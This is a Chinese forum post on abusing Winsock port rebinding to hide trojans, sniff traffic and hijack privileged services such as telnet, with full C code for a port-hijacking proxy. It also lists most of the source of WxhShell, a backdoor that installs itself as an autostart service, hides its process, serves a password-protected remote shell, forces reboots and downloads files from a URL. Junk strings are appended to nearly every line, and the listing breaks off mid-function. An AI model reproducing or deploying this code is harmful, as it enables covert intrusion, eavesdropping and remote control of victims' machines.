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[讨论]用端口截听实现隐藏嗅探与攻击

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在WINDOWS的SOCKET服务器应用的编程中,如下的语句或许比比都是: j\NCoos  
  s=socket(AF_INET,SOCK_STREAM,IPPROTO_TCP); qL <@PC.5  
i3pOGa<  
  saddr.sin_family = AF_INET; G`/4 n@  
*^RoI  
  saddr.sin_addr.s_addr = htonl(INADDR_ANY); %&0/ Ypp=  
DL d~  
  bind(s,(SOCKADDR *)&saddr,sizeof(saddr)); =nO:R,U  
]+b?J0|P<  
  其实这当中存在在非常大的安全隐患,因为在winsock的实现中,对于服务器的绑定是可以多重绑定的,在确定多重绑定使用谁的时候,根据一条原则是谁的指定最明确则将包递交给谁,而且没有权限之分,也就是说低级权限的用户是可以重绑定在高级权限如服务启动的端口上的,这是非常重大的一个安全隐患。 n/`!G?kvI  
.Yvy37n((  
  这意味着什么?意味着可以进行如下的攻击: lANi$ :aE  
!/ dH"h  
  1。一个木马绑定到一个已经合法存在的端口上进行端口的隐藏,他通过自己特定的包格式判断是不是自己的包,如果是自己处理,如果不是通过127.0.0.1的地址交给真正的服务器应用进行处理。 pMY7{z  
[XH,~JZJj  
  2。一个木马可以在低权限用户上绑定高权限的服务应用的端口,进行该处理信息的嗅探,本来在一个主机上监听一个SOCKET的通讯需要具备非常高的权限要求,但其实利用SOCKET重绑定,你可以轻易的监听具备这种SOCKET编程漏洞的通讯,而无须采用什么挂接,钩子或低层的驱动技术(这些都需要具备管理员权限才能达到) CpK:u! Dn  
I!}V+gu=  
  3。针对一些的特殊应用,可以发起中间人攻击,从低权限用户上获得信息或事实欺骗,如在guest权限下拦截telnet服务器的23端口,如果是采用NTLM加密认证,虽然你无法通过嗅探直接获取密码,但一旦有admin用户通过你登陆以后,你的应用就完全可以发起中间人攻击,扮演这个登陆的用户通过SOCKET发送高权限的命令,到达入侵的目的。 eCWF0a  
F+?i{$  
  4.对于构建的WEB服务器,入侵者只需要获得低级的权限,就可以完全达到更改网页目的,很简单,扮演你的服务器给予连接请求以其他信息的应答,甚至是基于电子商务上的欺骗,获取非法的数据。  6pt|Crvu  
R+!oPWfb  
  其实,MS自己的很多服务的SOCKET编程都存在这样的问题,telnet,ftp,http的服务实现全部都可以利用这种方法进行攻击,在低权限用户上实现对SYSTEM应用的截听。包括W2K+SP3的IIS也都一样,那么如果你已经可以以低权限用户入侵或木马植入的话,而且对方又开启了这些服务的话,那就不妨一试。并且我估计还有很多第三方的服务也大多存在这个漏洞。 m 2/S(f  
s Ytn'&$\  
  解决的方法很简单,在编写如上应用的时候,绑定前需要使用setsockopt指定SO_EXCLUSIVEADDRUSE要求独占所有的端口地址,而不允许复用。这样其他人就无法复用这个端口了。 4>2\{0r  
O9m sPb:  
  下面就是一个简单的截听ms telnet服务器的例子,在GUEST用户下都能成功进行截听,剩余的就是大家根据自己的需要,进行一些特殊剪裁的问题了:如是隐藏,嗅探数据,高权限用户欺骗等。 <WnIJum  
#DARZhU)  
  #include m%UF{I,  
  #include '+ mI  
  #include 66sgs16k  
  #include    feH&Ug4?G  
  DWORD WINAPI ClientThread(LPVOID lpParam);   nE?:nJ|%E  
  int main() WncHgz  
  { f,|;eF-Z  
  WORD wVersionRequested; \Ui8gDJ8y5  
  DWORD ret; )T?BO  
  WSADATA wsaData; OH@gwC  
  BOOL val; _\8E/4zh  
  SOCKADDR_IN saddr; -SLk8x  
  SOCKADDR_IN scaddr; _zzT[}  
  int err; ,L<x=Dg  
  SOCKET s; %Pl |3i  
  SOCKET sc; AZ4:3}  
  int caddsize; ^uphpABpD  
  HANDLE mt; X$G:3uoN  
  DWORD tid;   V|F/ynJfA  
  wVersionRequested = MAKEWORD( 2, 2 ); \){_\{&  
  err = WSAStartup( wVersionRequested, &wsaData ); q(WGvl^r  
  if ( err != 0 ) {  Lsai8 B  
  printf("error!WSAStartup failed!\n"); U#- 5",X|  
  return -1; S6\E  I5S  
  } t:P7ah  
  saddr.sin_family = AF_INET; f="ZplW  
   9V~hz (^  
  //截听虽然也可以将地址指定为INADDR_ANY,但是要不能影响正常应用情况下,应该指定具体的IP,留下127.0.0.1给正常的服务应用,然后利用这个地址进行转发,就可以不影响对方正常应用了 65VTKlDD  
OoRg:"9{#  
  saddr.sin_addr.s_addr = inet_addr("192.168.0.60"); q&O9W?E8dG  
  saddr.sin_port = htons(23); !)CY\c4}d>  
  if((s=socket(AF_INET,SOCK_STREAM,IPPROTO_TCP))==SOCKET_ERROR) f3^qO9R  
  { m:Rm(ga9  
  printf("error!socket failed!\n"); f:y:: z  
  return -1; $FDGHFM  
  } P #8+1iC1  
  val = TRUE; R4'>5.M  
  //SO_REUSEADDR选项就是可以实现端口重绑定的 ("{vbs$;  
  if(setsockopt(s,SOL_SOCKET,SO_REUSEADDR,(char *)&val,sizeof(val))!=0) XD?]+  
  { 7xY&7 x(v  
  printf("error!setsockopt failed!\n"); :7X{s4AU6  
  return -1; Vq/hk  
  } 1|s` z  
  //如果指定了SO_EXCLUSIVEADDRUSE,就不会绑定成功,返回无权限的错误代码; +fKV/tSWi  
  //如果是想通过重利用端口达到隐藏的目的,就可以动态的测试当前已绑定的端口哪个可以成功,就说明具备这个漏洞,然后动态利用端口使得更隐蔽 ;8 *"c  
  //其实UDP端口一样可以这样重绑定利用,这儿主要是以TELNET服务为例子进行攻击 ;CoD5F!  
T00sYoK  
  if(bind(s,(SOCKADDR *)&saddr,sizeof(saddr))==SOCKET_ERROR) \TnK<83  
  { {X<_Y<  
  ret=GetLastError(); ;Jb% 2?+=!  
  printf("error!bind failed!\n"); m6H+4@Z-;(  
  return -1; @MoCEtt  
  } p&0 G  
  listen(s,2); .wTb/x  
  while(1) gNZ"Kr o6  
  { `Fe/=]< $  
  caddsize = sizeof(scaddr); =3rf}bl2  
  //接受连接请求 :oYSvK7>  
  sc = accept(s,(struct sockaddr *)&scaddr,&caddsize); 3q@H8%jcw  
  if(sc!=INVALID_SOCKET) Xr4k]'Mg  
  { s jaaZx1  
  mt = CreateThread(NULL,0,ClientThread,(LPVOID)sc,0,&tid); <lU(9) L;&  
  if(mt==NULL) R#?atL$(  
  { LaZ @4/z!  
  printf("Thread Creat Failed!\n"); DHyQ:0q  
  break; T-lP=KF=  
  } ;9-J=@KY4  
  } jq_4x[  
  CloseHandle(mt); jeO`45O  
  } 0"N4WH O  
  closesocket(s); __uk/2q  
  WSACleanup(); +afkpvj8  
  return 0; Sj*W|n\gj  
  }   M0e&GR8<z>  
  DWORD WINAPI ClientThread(LPVOID lpParam) aI}htb{m`  
  { 4x=sJ%E  
  SOCKET ss = (SOCKET)lpParam; ^ 5>W`vwp  
  SOCKET sc; uINEq{yo  
  unsigned char buf[4096]; 7Up-a^k^`  
  SOCKADDR_IN saddr; iAPGP -<6  
  long num; EFu$>Z4  
  DWORD val; k Q_Vj7  
  DWORD ret; 9x(t"VPuS  
  //如果是隐藏端口应用的话,可以在此处加一些判断 QW_v\GHx  
  //如果是自己的包,就可以进行一些特殊处理,不是的话通过127.0.0.1进行转发   mq(K_  
  saddr.sin_family = AF_INET; "jq6FT)O  
  saddr.sin_addr.s_addr = inet_addr("127.0.0.1"); Sht3\cJ8  
  saddr.sin_port = htons(23); G=CP17&h6  
  if((sc=socket(AF_INET,SOCK_STREAM,IPPROTO_TCP))==SOCKET_ERROR) m(5LXH Jnv  
  { MCIuP`sC|  
  printf("error!socket failed!\n"); sYSq>M  
  return -1; Jvj* z6/a  
  } Cv&>:k0V  
  val = 100; T :^OW5d  
  if(setsockopt(sc,SOL_SOCKET,SO_RCVTIMEO,(char *)&val,sizeof(val))!=0) VP?Q$?a  
  { U+(qfa5(  
  ret = GetLastError(); &N3a`Ua  
  return -1; y 1Wb/ d  
  } \q^ dhY>)  
  if(setsockopt(ss,SOL_SOCKET,SO_RCVTIMEO,(char *)&val,sizeof(val))!=0) '!4\H"t  
  { (Hmhb}H  
  ret = GetLastError(); P.=Dd"La  
  return -1; 4{ZVw/VP,-  
  } h CV(O2jL  
  if(connect(sc,(SOCKADDR *)&saddr,sizeof(saddr))!=0) JE@3UXg  
  { LJ9#!r@H  
  printf("error!socket connect failed!\n"); =+<DNW@%  
  closesocket(sc); Wh"xt:  
  closesocket(ss); OMab!  
  return -1; V,\}|_GY  
  } UIZ9" Da  
  while(1) .%\||1F<  
  { RaymSh  
  //下面的代码主要是实现通过127。0。0。1这个地址把包转发到真正的应用上,并把应答的包再转发回去。 DGz}d,ie  
  //如果是嗅探内容的话,可以再此处进行内容分析和记录 D.a\O9q"&{  
  //如果是攻击如TELNET服务器,利用其高权限登陆用户的话,可以分析其登陆用户,然后利用发送特定的包以劫持的用户身份执行。 j.V7`x  
  num = recv(ss,buf,4096,0); +K2HMf'  
  if(num>0) 63t'|9^5  
  send(sc,buf,num,0); goD#2lg  
  else if(num==0) o?3C-A|  
  break; :Fh_Ya0  
  num = recv(sc,buf,4096,0); DIhV;[\  
  if(num>0) QYAt)Ik9q  
  send(ss,buf,num,0); )IIWXN2A  
  else if(num==0) gy#G;9p  
  break; xyXVWd[  
  } $z5C+K@  
  closesocket(ss); q%1B4 mF'  
  closesocket(sc); qV``' _=<  
  return 0 ; Tv% Z|%*  
  } o_ixdnc  
+4 D#Ht 7  
u=#_8e(9Z  
========================================================== Cs,t:ajP  
 z}*L*Sk  
下边附上一个代码,,WXhSHELL mhs%8OTN  
=}e{U&CX  
========================================================== ws,VO*4  
? fM_Y  
#include "stdafx.h"  %Rm`YH?  
PA,\o8]x  
#include <stdio.h> 6HpiG`  
#include <string.h> 92*"3)  
#include <windows.h> "9y 0]~  
#include <winsock2.h> uL~.#Y_jQ  
#include <winsvc.h> SuBUhzR  
#include <urlmon.h> 6Q*zZ]kg  
K2tOt7M!  
#pragma comment (lib, "Ws2_32.lib") %kQ[z d^  
#pragma comment (lib, "urlmon.lib") Eqx|k-<a  
j<w5xY  
#define MAX_USER   100 // 最大客户端连接数 _sCzee&uQ  
#define BUF_SOCK   200 // sock buffer mP_c-qD |  
#define KEY_BUFF   255 // 输入 buffer /BM{tH  
F/df!I~  
#define REBOOT     0   // 重启 P4s,N|bs`  
#define SHUTDOWN   1   // 关机 %6:"tuA  
8ROZ]Xh,x  
#define DEF_PORT   5000 // 监听端口 th{Ib@o  
r#6djs1  
#define REG_LEN     16   // 注册表键长度 4X>=UO``L  
#define SVC_LEN     80   // NT服务名长度 LcHe5Bv%  
Wr4Ob*2iD  
// 从dll定义API 8J2U UVA`1  
typedef DWORD (WINAPI pREGISTERSERVICEPROCESS) (DWORD,DWORD); /86PqKU(P  
typedef LONG (WINAPI *PROCNTQSIP)(HANDLE,UINT,PVOID,ULONG,PULONG); h]o{> |d9  
typedef BOOL (WINAPI *ENUMPROCESSMODULES) (HANDLE hProcess, HMODULE * lphModule, DWORD cb, LPDWORD lpcbNeeded); ^VjF W  
typedef DWORD (WINAPI *GETMODULEBASENAME) (HANDLE hProcess, HMODULE hModule, LPTSTR lpBaseName, DWORD nSize); sz4;hSTy  
>T^BD'z@'  
// wxhshell配置信息 O[9A}g2~  
struct WSCFG { ,sp((SF]1  
  int ws_port;         // 监听端口 qa?0GTAS  
  char ws_passstr[REG_LEN]; // 口令 V24FzQ?z:.  
  int ws_autoins;       // 安装标记, 1=yes 0=no f!cYLU1e@  
  char ws_regname[REG_LEN]; // 注册表键名 TF@k{_f  
  char ws_svcname[REG_LEN]; // 服务名 :HH3=.qAp`  
  char ws_svcdisp[SVC_LEN]; // 服务显示名 j$z!kd+%  
  char ws_svcdesc[SVC_LEN]; // 服务描述信息 (Lkcx06e  
  char ws_passmsg[SVC_LEN]; // 密码输入提示信息 mnq1WU;<  
int ws_downexe;       // 下载执行标记, 1=yes 0=no __-V_(/b,x  
char ws_fileurl[SVC_LEN]; // 下载文件的 url, "http://xxx/file.exe" !L@a;L  
char ws_filenam[SVC_LEN]; // 下载后保存的文件名 *1U"uJno  
D<bH RtP  
}; l9{.~]V  
|vh{Kb@  
// default Wxhshell configuration ;n/04z  
struct WSCFG wscfg={DEF_PORT, )zo:Bo .<  
    "xuhuanlingzhe", R]TS5b-  
    1, ?!n0N\|i]  
    "Wxhshell", NH8\&#}nAK  
    "Wxhshell", <e-hR$  
            "WxhShell Service", n%ZOR1u)k#  
    "Wrsky Windows CmdShell Service", wD $sKd  
    "Please Input Your Password: ", @t3&#I}mc  
  1, )'$'?Fn  
  "http://www.wrsky.com/wxhshell.exe", IoHYY:[-  
  "Wxhshell.exe" -W1Apd%>  
    }; ()(/9t  
VCvFCyAz  
// 消息定义模块 ~J|B  
char *msg_ws_copyright="\n\rWxhShell v1.0 (C)2005 http://www.wrsky.com\n\rMake by 虚幻灵者\n\r"; KU87WpjX  
char *msg_ws_prompt="\n\r? for help\n\r#>"; EN@<z;  
char *msg_ws_cmd="\n\ri Install\n\rr Remove\n\rp Path\n\rb reboot\n\rd shutdown\n\rs Shell\n\rx exit\n\rq Quit\n\r\n\rDownload:\n\r#>http://.../server.exe\n\r"; 7)l+h Z  
char *msg_ws_ext="\n\rExit."; "jP{m; p  
char *msg_ws_end="\n\rQuit."; =XZd_v  
char *msg_ws_boot="\n\rReboot..."; ?.69nN  
char *msg_ws_poff="\n\rShutdown..."; c(lG_"q6  
char *msg_ws_down="\n\rSave to "; vC-5_pl  
Y:]m~-T  
char *msg_ws_err="\n\rErr!"; tS3{y*yi  
char *msg_ws_ok="\n\rOK!"; [R{%r^"2p  
Z!oq2,ia  
char ExeFile[MAX_PATH]; - D^v:aC  
int nUser = 0; %j;mDR9 5  
HANDLE handles[MAX_USER]; K,f- w2!  
int OsIsNt; VNxhv!w  
Y i`wj^  
SERVICE_STATUS       serviceStatus; aHSl_[  
SERVICE_STATUS_HANDLE   hServiceStatusHandle; *nV*WU S3  
q,.@<sW  
// 函数声明 d0G d5%  
int Install(void); T1YbF/M'  
int Uninstall(void); /"7_75 t  
int DownloadFile(char *sURL, SOCKET wsh); G`FY[^:  
int Boot(int flag); 4So ,m0v  
void HideProc(void); je5GZFQw  
int GetOsVer(void); k6^!G"  
int Wxhshell(SOCKET wsl); eq7>-Dmi@  
void TalkWithClient(void *cs); jmn<gJ2Of  
int CmdShell(SOCKET sock); 8'0I$Qa4  
int StartFromService(void); YiTVy/  
int StartWxhshell(LPSTR lpCmdLine); Bx ru7E"  
~)]R  
VOID WINAPI NTServiceMain( DWORD dwArgc, LPTSTR *lpszArgv ); YC =:W  
VOID WINAPI NTServiceHandler( DWORD fdwControl ); xt X`3=s  
yMKVF`D*  
// 数据结构和表定义 t@3y9U$  
SERVICE_TABLE_ENTRY DispatchTable[] = OEXa^M4x   
{ >vfbXnN  
{wscfg.ws_svcname, NTServiceMain}, rHD_sC*  
{NULL, NULL} fwz-)?   
}; !)LVZfQ0  
eBg:[4 4V  
// 自我安装 71OQ?fc  
int Install(void) XjU/7Q  
{ ^,6c9Dxy  
  char svExeFile[MAX_PATH]; j@Y'>3  
  HKEY key; CP6xyXOlPB  
  strcpy(svExeFile,ExeFile); ^;.&=3N,+  
\EQCR[7qu7  
// 如果是win9x系统,修改注册表设为自启动 x\'95qU  
if(!OsIsNt) { #A9rI;"XI  
if(RegOpenKey(HKEY_LOCAL_MACHINE,"Software\\Microsoft\\Windows\\CurrentVersion\\Run",&key)==ERROR_SUCCESS) { oO&R3zA1d  
  RegSetValueEx(key,wscfg.ws_regname,0,REG_SZ,(BYTE *)svExeFile,lstrlen(svExeFile)); L IRdWGQ4  
  RegCloseKey(key); Vae=Yg=fw  
  if(RegOpenKey(HKEY_LOCAL_MACHINE,"Software\\Microsoft\\Windows\\CurrentVersion\\RunServices",&key)==ERROR_SUCCESS) { iJ!p9E*(  
  RegSetValueEx(key,wscfg.ws_regname,0,REG_SZ,(BYTE *)svExeFile,lstrlen(svExeFile)); k/2TvEV3=  
  RegCloseKey(key); -=a,FDeR  
  return 0; nn{PhyK  
    } _?c7{  
  } i6$q1*  
} 6~!l7HqO  
else { +$\/HO  
m"RSDM!  
// 如果是NT以上系统,安装为系统服务 !6l}s$1i|  
SC_HANDLE schSCManager = OpenSCManager( NULL, NULL, SC_MANAGER_CREATE_SERVICE); rtZEK:.#  
if (schSCManager!=0) V D.T=(  
{ fW3NH7aUG  
  SC_HANDLE schService = CreateService >A ?,[p`<  
  ( )^LiAL h  
  schSCManager, zT ; +akq  
  wscfg.ws_svcname, ]T1\gv1~  
  wscfg.ws_svcdisp, )5/,B-+O"  
  SERVICE_ALL_ACCESS, UA(&_-C\  
  SERVICE_WIN32_OWN_PROCESS|SERVICE_INTERACTIVE_PROCESS , F`RPXY`ux  
  SERVICE_AUTO_START, %SN"<O!  
  SERVICE_ERROR_NORMAL, tqwAS)v=  
  svExeFile, b+e9Pi*\  
  NULL, USJk *  
  NULL, ((mR' A|`  
  NULL, O7# 8g$ZIv  
  NULL, ,V.Bzf%=O  
  NULL =RjseTS  
  ); K%WG[p\Eu  
  if (schService!=0) Q ?R3aJ  
  { 0vrx5E!  
  CloseServiceHandle(schService); +CXtTasP  
  CloseServiceHandle(schSCManager); n+SHkrW  
  strcpy(svExeFile,"SYSTEM\\CurrentControlSet\\Services\\");  -wQ@z6R  
  strcat(svExeFile,wscfg.ws_svcname); nIf~ds&TT  
  if(RegOpenKey(HKEY_LOCAL_MACHINE,svExeFile,&key)==ERROR_SUCCESS) { U~q2j#pJ  
  RegSetValueEx(key,"Description",0,REG_SZ,(BYTE *)wscfg.ws_svcdesc,lstrlen(wscfg.ws_svcdesc)); /uJ(&#87  
  RegCloseKey(key); ms`U,  
  return 0; BL1d= %2 R  
    } ;U]Ym48  
  } *dPG[ }  
  CloseServiceHandle(schSCManager); QHgkfo  
} (e _l1O?  
} ^!*nhs%  
kB-]SD#  
return 1; .0?A0D?sP  
}  {B7${AE  
K7=> o*p  
// 自我卸载 ,U?^u%  
int Uninstall(void) A#8J6xcSrL  
{ r&ux|o+  
  HKEY key; lkJ"f{4f  
a9g~(#?a  
if(!OsIsNt) { (qDPGd*1  
if(RegOpenKey(HKEY_LOCAL_MACHINE,"Software\\Microsoft\\Windows\\CurrentVersion\\Run",&key)==ERROR_SUCCESS) { k]9+/ $  
  RegDeleteValue(key,wscfg.ws_regname); tx,q=.(  
  RegCloseKey(key); @!p0<&R@x  
  if(RegOpenKey(HKEY_LOCAL_MACHINE,"Software\\Microsoft\\Windows\\CurrentVersion\\RunServices",&key)==ERROR_SUCCESS) { l-?#oy  
  RegDeleteValue(key,wscfg.ws_regname); DAf0bh"  
  RegCloseKey(key); jhH&}d9  
  return 0; ) m(!lDz3  
  } Wg\MaZ6Di  
} BI+x6S>d  
} P`AW8Y6o  
else { ?ZP@H _w6}  
tui5?\  
SC_HANDLE schSCManager = OpenSCManager( NULL, NULL, SC_MANAGER_ALL_ACCESS); Hd57Iw  
if (schSCManager!=0) L'u*WHj|v  
{ <HH\VG\H6  
  SC_HANDLE schService = OpenService( schSCManager, wscfg.ws_svcname, SERVICE_ALL_ACCESS); dheobD  
  if (schService!=0) e5#?@}?  
  { IZ<Et/3H  
  if(DeleteService(schService)!=0) { =B0AG9Fz  
  CloseServiceHandle(schService); U88gJ[$  
  CloseServiceHandle(schSCManager); 3@wio[  
  return 0; l4*vM  
  } _0"s6D$  
  CloseServiceHandle(schService); bi[g4,`Z;  
  } @|D#lBm  
  CloseServiceHandle(schSCManager); {JQCfs  
} jr/IU=u*v  
} "P yG;N!W  
 wWQt  
return 1; 1xjWD30  
} z-_$P)[c  
~Z' /b|x<3  
// 从指定url下载文件 ~- eB  
int DownloadFile(char *sURL, SOCKET wsh) E?S  
{ ^j7>Ul,  
  HRESULT hr; *JF7 B  
char seps[]= "/"; `Gh J)WA<  
char *token; pU1miA '  
char *file; ;e6L@)dp9  
char myURL[MAX_PATH]; ca<OG;R^  
char myFILE[MAX_PATH]; DdqE6qE  
xM=?ES  
strcpy(myURL,sURL); Jk;dtLL}4  
  token=strtok(myURL,seps); QXEz  
  while(token!=NULL) _6-N+FI  
  { HT7I~]W  
    file=token; -f["1-A  
  token=strtok(NULL,seps); )zkr[;j~`  
  } >~jl0!2z@  
X3'd~!a)  
GetCurrentDirectory(MAX_PATH,myFILE); iX-.mq$  
strcat(myFILE, "\\"); m= rMx]k  
strcat(myFILE, file); q\xsXM  
  send(wsh,myFILE,strlen(myFILE),0); BvP++,a&Sa  
send(wsh,"...",3,0); -?w3j9kk>  
hr = URLDownloadToFile(0, sURL, myFILE, 0, 0); |f1RhB  
  if(hr==S_OK) i?861Hu  
return 0; Ffig0K+ `  
else (L`IL e*  
return 1; UJ><B"  
-ufaV#  
} 'LYN{  
X@za4d  
// 系统电源模块 {01^xn.  
int Boot(int flag) M[P1hFuna  
{ .rQcg.8/B  
  HANDLE hToken; N?IdaVLj  
  TOKEN_PRIVILEGES tkp; ;?C`Jag x  
|lN=q44I  
  if(OsIsNt) { L@.Trso  
  OpenProcessToken(GetCurrentProcess(),TOKEN_ADJUST_PRIVILEGES | TOKEN_QUERY, &hToken); 1 dOB|  
    LookupPrivilegeValue(NULL, SE_SHUTDOWN_NAME,&tkp.Privileges[0].Luid); !X`cNd)0Xo  
    tkp.PrivilegeCount = 1; mc4|@p*  
    tkp.Privileges[0].Attributes = SE_PRIVILEGE_ENABLED; 39A|6>-?  
    AdjustTokenPrivileges(hToken, FALSE, &tkp, 0,(PTOKEN_PRIVILEGES)NULL, 0); =R*IOJ  
if(flag==REBOOT) { p-*{x  
  if(ExitWindowsEx(EWX_REBOOT | EWX_FORCE, 0)) =^z*p9ZB  
  return 0; *onVG5<  
} ; W$.>*O  
else { .E;}.X  
  if(ExitWindowsEx(EWX_POWEROFF | EWX_FORCE, 0)) ?}HZJ@:lB  
  return 0; G "ixw  
} #'. '|z  
  } ZB]234`0  
  else { NR"C@3kD]o  
if(flag==REBOOT) { xVTl  
  if(ExitWindowsEx(EWX_REBOOT + EWX_FORCE,0)) 1n[wk'}qf4  
  return 0; a:s$[+'Y  
} @ 6*eS+t\  
else { 3zv0Nwb,  
  if(ExitWindowsEx(EWX_SHUTDOWN + EWX_FORCE,0)) *;T'=u_lR  
  return 0; &5*t*tI  
} *Ag3qnY  
} uK0L>  
qp{~OW3  
return 1; N'0nt]&a  
} \H 5t-w=  
8%p+:6kP5  
// win9x进程隐藏模块 ),H1z`c&I  
void HideProc(void) \F)WUIK  
{ JOyM#g9-?  
!&5|:96o  
  HINSTANCE hKernel=LoadLibrary("Kernel32.dll"); 89t"2|9 u  
  if ( hKernel != NULL ) /Mj|Px%  
  { 2fXwJG'  
pREGISTERSERVICEPROCESS *pRegisterServiceProcess=(pREGISTERSERVICEPROCESS *)GetProcAddress(hKernel,"RegisterServiceProcess"); 8! /ue.T  
    ( *pRegisterServiceProcess)(GetCurrentProcessId(),1); (yoF  
    FreeLibrary(hKernel); ZCA= n  
  } @2`nBtk  
ng9 _c  
return; Wu/:ES)C  
} 7Rd(,eWE@  
qDgy7kkQ  
// 获取操作系统版本 goNDS5}  
int GetOsVer(void) bK{ VjXF  
{ &'Xgf!x  
  OSVERSIONINFO winfo; ?v`24p3PC  
  winfo.dwOSVersionInfoSize=sizeof(OSVERSIONINFO); JW"`i   
  GetVersionEx(&winfo); }GHC u  
  if(winfo.dwPlatformId==VER_PLATFORM_WIN32_NT) '<'5BeU  
  return 1; b5? kgY  
  else V9cj  
  return 0; _|{Z850AS  
} ~du U& \  
zjSHa'9*  
// 客户端句柄模块 5mZwg(si  
int Wxhshell(SOCKET wsl) CZ>Ujw=&k  
{ At !@Rc  
  SOCKET wsh; ) )t]5Ys%;  
  struct sockaddr_in client; %'VzN3Q5V  
  DWORD myID; J&B5Ll  
I9x kqj  
  while(nUser<MAX_USER) F I~=A/:  
{ +G+1B6S  
  int nSize=sizeof(client); 7Hj7b:3K&!  
    wsh=accept(wsl,(struct sockaddr *)&client,&nSize);  bDD29  
  if(wsh==INVALID_SOCKET) return 1; ,W;|K 5  
Bn.5ivF3  
handles[nUser]=CreateThread(0,1000,(LPTHREAD_START_ROUTINE) TalkWithClient,(VOID *) wsh, 0, &myID); \jZ)r>US"  
if(handles[nUser]==0) ]@~%i=. 7  
  closesocket(wsh); U }I#;*F  
else "p+JME(  
  nUser++; ]f}(i D  
  } X~/-,oV=A  
  WaitForMultipleObjects(MAX_USER,handles,TRUE,INFINITE); qyh]v[  
i 1Kq (7  
  return 0; |:,`dQfw  
} /lhk} y^  
4J?\JcGs  
// 关闭 socket /2MZH  
void CloseIt(SOCKET wsh) 8~T=p:z'  
{ tY:,9eh7B  
closesocket(wsh); _xBhMu2f  
nUser--; Aj(y]p8  
ExitThread(0); 4UK>Vzn  
} :Ys ;)W+R  
X":2o|R  
// 客户端请求句柄 d= ?lPEzSA  
void TalkWithClient(void *cs) Z?WVSJUVf  
{ s(e1kk}"  
p*Yx1er1  
  SOCKET wsh=(SOCKET)cs; 4n1 g@A=y  
  char pwd[SVC_LEN]; t;u)_C,bmP  
  char cmd[KEY_BUFF]; N8=-=]0G  
char chr[1]; O}j@+p%M  
int i,j; 87m`K Str7  
Wtp=1  
  while (nUser < MAX_USER) { #%L_wJB-  
o/[Ks;l  
if(wscfg.ws_passstr) { T_#8i^;D  
  if(strlen(wscfg.ws_passmsg)) send(wsh,wscfg.ws_passmsg,strlen(wscfg.ws_passmsg),0); *SpE XO  
      //send(wsh,wscfg.ws_passmsg,strlen(wscfg.ws_passmsg),0); 7xR:\FBa^  
  //ZeroMemory(pwd,KEY_BUFF); ` k(Q:  
      i=0; nc1?c1s,f  
  while(i<SVC_LEN) { vZs~=nfi#|  
P>^$X  
  // 设置超时 "z= ~7g  
  fd_set FdRead; t:xTmK&vt  
  struct timeval TimeOut; 8 qZbsZi4  
  FD_ZERO(&FdRead); O@w_"TJP/z  
  FD_SET(wsh,&FdRead); PWquu`  
  TimeOut.tv_sec=8; u9u'5xAO  
  TimeOut.tv_usec=0; {xOzxLB;  
  int Er=select(wsh+1, &FdRead, NULL, NULL, &TimeOut); }SyK)W5Y  
  if((Er==SOCKET_ERROR) || (Er==0)) CloseIt(wsh); THB[(3q  
zU!d(ge.E  
  if(recv(wsh,chr,1,0)==SOCKET_ERROR) CloseIt(wsh); 7!)VO D8Z  
  pwd=chr[0]; l.Z+.<@  
  if(chr[0]==0xd || chr[0]==0xa) { d/awQXKe7  
  pwd=0; P0U&+^W"9  
  break; DZA '0-  
  } 'pO-h,{TS  
  i++; &JD^\+7U:  
    } Qz_4Ms<o  
s OLjT34  
  // 如果是非法用户,关闭 socket UIU6rilB  
        if(strcmp(pwd,wscfg.ws_passstr)) CloseIt(wsh); 8@|{n`n]  
} \< a^5'  
T)Q_dF.N  
send(wsh,msg_ws_copyright,strlen(msg_ws_copyright),0); "L8Hgwg  
  send(wsh,msg_ws_prompt,strlen(msg_ws_prompt),0); Ekh)l0 l  
!D V0u)k(  
while(1) { N P5K1:  
.q!i +0  
  ZeroMemory(cmd,KEY_BUFF); H+@?K6{h  
jl>wvY||  
      // 自动支持客户端 telnet标准   /b/  6*&  
  j=0; Og?GYe^_  
  while(j<KEY_BUFF) { NRspi_&4J  
  if(recv(wsh,chr,1,0)==SOCKET_ERROR) CloseIt(wsh); NzN"_ojM  
  cmd[j]=chr[0]; Zv?"1Y< L  
  if(chr[0]==0xa || chr[0]==0xd) { NL2D,  
  cmd[j]=0; m9 ]Ge]  
  break; Rm6i[y&  
  } oZdY0nh4  
  j++; IGab~`c-[  
    } DJqJ6z:'  
zsR5"Vi=  
  // 下载文件 =.J cIT'  
  if(strstr(cmd,"http://")) { dP>FXgY  
  send(wsh,msg_ws_down,strlen(msg_ws_down),0); 4r86@^c*  
  if(DownloadFile(cmd,wsh)) _'^_9u G  
  send(wsh,msg_ws_err,strlen(msg_ws_err),0); g_?Q3  
  else )n[=)"rf  
  send(wsh,msg_ws_ok,strlen(msg_ws_ok),0); DbtkWq%  
  } <AP.m4N) _  
  else { i9`-a/  
$Il  
    switch(cmd[0]) { }wI +e Mr  
  $ub0$S/Hu  
  // 帮助 VN$7r  
  case '?': { YkFERIa076  
      send(wsh,msg_ws_cmd,strlen(msg_ws_cmd),0); ,p!IFS`  
    break; Dd-a*6|x  
  } Uv~|Xj4.  
  // 安装 mHJGpJ=a-  
  case 'i': { $1Wb`$  
    if(Install()) %c%`< y<~L  
    send(wsh,msg_ws_err,strlen(msg_ws_err),0); ZCMH?>  
    else 8 @RJ>  
    send(wsh,msg_ws_ok,strlen(msg_ws_ok),0); LvZ',u}  
    break; $@L2zl1  
    } 1=`VaS  
  // 卸载 :h!'\9   
  case 'r': { NW*#./WdF8  
    if(Uninstall()) =)*Z rD  
    send(wsh,msg_ws_err,strlen(msg_ws_err),0); nwqA\  
    else 4]-7S l,  
    send(wsh,msg_ws_ok,strlen(msg_ws_ok),0); 02,.UqCz  
    break; hF`<I.z}  
    } LB9W.cA   
  // 显示 wxhshell 所在路径 T21?~jS  
  case 'p': { `0MQL@B  
    char svExeFile[MAX_PATH]; p _3xW{I  
    strcpy(svExeFile,"\n\r"); '/AX 'U8Y  
      strcat(svExeFile,ExeFile); )_?h;wh 84  
        send(wsh,svExeFile,strlen(svExeFile),0); BN&}g}N  
    break; c6y>]8_  
    } ,dVJAV7v  
  // 重启 3-kL0Q["  
  case 'b': { sYvlf0  
    send(wsh,msg_ws_boot,strlen(msg_ws_boot),0); IS;[oJef  
    if(Boot(REBOOT)) ,mC=MpfzJ  
    send(wsh,msg_ws_err,strlen(msg_ws_err),0); 4I|pkdF_  
    else { mZuLwd$0  
    closesocket(wsh); ,WM-%2z^4I  
    ExitThread(0); lvNi/jk  
    } $xF[j9nM  
    break; _N>#/v)Yi  
    } @ `mke4>_  
  // 关机 e ~cg  (.  
  case 'd': { |x>5T}  
